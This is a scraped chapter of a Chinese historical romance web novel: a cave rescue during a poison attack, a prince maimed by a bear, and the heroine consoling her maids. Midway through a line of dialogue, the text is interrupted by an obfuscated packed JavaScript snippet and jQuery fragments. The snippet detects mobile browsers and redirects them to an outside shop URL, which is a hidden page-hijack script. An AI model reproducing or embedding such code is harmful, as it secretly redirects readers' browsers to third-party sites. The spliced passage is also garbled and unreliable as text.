26. 毒发

作品:《今朝

    悬崖底下,凌昀抱着昏迷的徐书晚艰难前行。


    血水顺着手臂流下,凌昀低头看了眼,毫不在意地继续往前走。


    雨水越下越密,已将两人彻底淋湿。


    终于寻到一处山洞,凌昀将人带到山洞里,低头看了眼自己还在渗血的伤口,简单处理过后,又低头朝仍在昏迷中的徐书晚看去。


    徐书晚眉头紧紧蹙起,额头冷汗不断冒出,忽然,她猛地睁开双眼。


    “你醒了!感觉如何?”凌昀立即上前握住她的手。


    徐书晚恍惚一瞬,这才慢慢回神。方才从悬崖处掉落下来,她不慎摔到了脑袋,这才陷入了昏迷。


    “我没事,这是哪儿?你的伤怎么样了?”


    凌昀摇了摇头,轻声道,“没什么大碍,这是悬崖底下的一处山洞,如今外面雨势渐大,又浓雾四起,咱们可能得待在这儿等人寻过来了,你身子如何,可还撑得住?”


    徐书晚脸色有些苍白,勉强一笑,“这会儿还撑得住。”


    凌昀沉静着将手指搭在她的手腕上,眉头渐渐皱起,“月浊发作了。”


    徐书晚苍白一笑,“好像是。”


    凌昀面色严峻,偏偏此地又什么东西都没有,两人身上还湿着,这样的情形实在不利。


    “你先将外面打湿的衣服脱下来,我去寻些柴火过来,我不会走远,如有事,大声呼唤我便是。”说罢,凌昀向外走去。


    徐书晚依言将外套脱了下来,她身上早已冷得麻木,便是脱下外衣,也并没什么感觉,好在最里层的里衣并未湿透,她便也就没脱下来。


    凌昀很快便回来了,拾来的柴火照样被打湿了,要点起来并不容易。


    好不容易将柴火点燃,凌昀又搭了个架子,将徐书晚的衣服放在边上烘干。


    “你身上还有伤,也快些将湿衣服换下来吧。”徐书晚脸色越发难看,身上的疼痛感渐显,让她连说话都变得费劲。


    “好。”凌昀三下五除二地将自己的衣服扒下,同样只留了一件里衣。


    他上前将缩在角落里的徐书晚抱到火堆前,“老程不在,无法为你施针压制,只能全靠你自己了。”


    徐书晚呼吸沉重,勉强睁开眼看向凌昀,微点了点头,“我可以,你的伤口还在出血,不必管我。”


    凌昀抿唇沉默,将她换了个姿势,让她坐在铺好的草堆上,随后一手揽着她,让她靠在自己身上,“放心,这点小伤不碍事。”


    “可……”一阵剧痛猛地袭来,将她的话语尽数淹没。


    锥心刺骨的疼痛,让她再也无法开口说话,她死死咬住牙齿,额头的冷汗大滴大滴地滴落。


    剧烈的疼痛让她无法思考,甚至无法感知外界。


    身体剧烈颤抖着,疼痛一波接着一波的袭来,似在她的血液中沸腾。


    担心她咬伤自己,凌昀生生将她的嘴掰开,原本欲将自己的手放到她口中,可看着被血水污浊的手掌,最终还是决定撕下自己的里衣,将其折叠放入她口中。


    ——


    围猎场,大皇子裕王的营帐内。


    “啊!我的腿,我的腿好痛!”


    凌旸的惨叫声从屏风后传来,一声赛一声的凄厉。


    屏风外,皇帝的脸色阴沉得可怕。


    “旸儿的这一条腿可还能保得住?”


    一旁的赵太医颤颤巍巍地回道,“回禀皇上,裕王的左腿被那黑熊咬断,肱骨碎裂,便是接回去了,将来也必定留疾跛脚啊。”


    “这么说,还能接回去?”


    额头的冷汗从额角滑落,赵太医也不敢擦拭,只小心翼翼地回道,“臣等必定竭力而为,只不过即便如此,也只有不到五成的几率。”


    皇帝沉着脸,半晌没有说话,营帐内,除了裕王的惨叫声,无一人敢出声,


    沉默良久后,皇帝压着声音道,“不惜一切代价,也要将裕王的腿接回去。”随后一甩衣袖离开。


    “是。”


    ——


    徐书晚在疼痛中昏迷,又在昏迷中被疼醒,直至天边泛起了鱼肚白,她体内的月浊这才逐渐趋于平静。


    看着她渐渐平缓的眉心,陪着她熬了一夜的凌昀,这才稍松了口气。


    因着伤口发炎而导致的高热,让他眼前有些模糊,却还是强撑着将她已经烘干了的外衣穿上。


    见外面的雨已经停了,他便弯腰将她抱起,踏出山洞,往东面走去。


    “殿下,是黎王殿下。”


    “找到黎王殿下了!”


    徐书晚醒来时已是未时末,睁开双眼第一个看见的便是桑知那双哭红了的眼睛。


    “王妃,你可算是醒了,快吓死我了,呜呜呜~”桑知嚎啕大哭,既庆幸王妃终于醒了,又后怕当时王妃真的出了什么事,更后悔自己为什么不仅没能保护好王妃,反而还拖累了王妃。


    若她真的出了什么事,自己真是万死难辞其咎。


    徐书晚下意识地朝外面看了一眼,随后才偏头朝哭得不能自已的桑知看过来,浅浅一笑“好了好了,我这不是没事吗,快别哭了。”


    “呜呜呜~要不是我,王妃也不会遭此劫难,都怪我。”桑知哭得越发难过,眼泪似乎决堤了一般。


    徐书晚有些无奈,桑知这个一遇事就哭的毛病还是没好啊!


    徐书晚柔声细语的安慰了半晌,她总算是哭得没那么大声了。


    “桑知,王妃才刚醒,你怎么也不知体谅,反倒还需要王妃来安慰你呢?”星觅端着刚煮好的热粥过来,眉心微蹙。


    大老远便听见了桑知抽抽噎噎的哭声,纵使明白她心中的愧疚与后怕,可作为丫鬟而言,实在有些失职了。


    “我……”桑知闻言立时止住了哭泣,一脸惊慌的看向徐书晚。


    徐书晚轻轻握住了桑知僵住的手,目光柔软地朝她看去,“你向来爱哭,我又何曾介意过,只是你哭过了,就一定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732347|186736||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    记得要放下这一茬,切不可埋在心里生刺,你自己也懂医,当知道郁结于心会有什么样的后果,我只希望你永远的开心快乐。”


    “小姐……”桑知双眼含泪,心中百感交集。


    “星觅,我与桑知自幼一起长大,她胆子小,又心思细腻敏感,对我多有依赖,偶有疏忽之处,还请你勿怪。”徐书晚抬头看向桑知,露出轻浅一笑,目光柔和却又切实的带着几分不易察觉的疏离。


    星觅猛然间顿在原地,瞳孔微微颤抖。


    原来这世间竟真的有真心实意愿意维护她们这些丫鬟的人。


    那么她这样自以为是地指责她所维护的那个人,那……


    “王妃,奴婢……”


    “星觅,你抬起头来。”徐书晚轻声道。


    看着星觅那双隐藏着几分惶恐的眼睛,徐书晚温声道,“我与你说这些并非在责怪你,我只是希望你能明白,你虽是丫鬟,却也是你自己。服侍王妃,是丫鬟的本职,可在此之外,”徐书晚顿了顿,眉眼弯弯地看向星觅,笑着道,“徐书晚和星觅也可以是朋友,朋友之间,撒撒娇,打打闹闹都是很正常的。”


    星觅半晌说不出话来,只是端着粥,呆愣地站在原地。


    “好了,我肚子好饿,可以把那碗粥给我喝吗?”徐书晚笑看着目瞪口呆的星觅。


    “当……当然,这本就是特地为王妃煮的。”


    徐书晚笑着接过了星觅递过来的粥,大致用了些之后,却是没什么胃口,又看了眼仍旧毫无动静的外面,忍不住问道,“为何不见凌昀,他出去了?”


    星觅与桑知对视了一眼,面上都有几分担忧,“殿下手臂上的伤口未能及时妥善处理,又淋了雨,伤口发炎导致高热,也是半个时辰前才刚醒过来,随后又马上被陛下叫走了。”


    徐书晚眉心皱起,这样着急叫他过去,是与围猎场那些刺客有关么,照先前的情形看来,围猎场的刺客乃是两拨人,至于那场大火究竟是谁放的,就不得而知了。


    而这一连串的事故中,又有哪些是凌昀的手笔呢?


    “奴婢听说,裕王殿下被一头苏醒的黑熊咬断了腿,能治好的几率还不足四成,即便是治好了,今后也必然成一个跛子。”


    “裕王?那裕王妃可有事?”


    “暂时未听说裕王妃出了什么事。”星觅道,“不过……”


    “不过什么?”


    “安王妃遭遇刺杀,薨逝了。”


    “安王妃。”徐书晚垂下眼眸,轻声重复了一遍。


    脑海中浮现昨日她们相处的情形,她虽不喜欢安王妃的为人,可却也从未想过她竟会这般突然的死去。


    “那些刺客的来历,都查清楚了吗?”徐书晚又问道。


    星觅摇了摇头,“暂时还未有任何消息透露出来。”


    “嗯。”徐书晚轻叹了口气:罢了,这原也与她无关。


    只是不知道这其中凌昀到底涉足多少?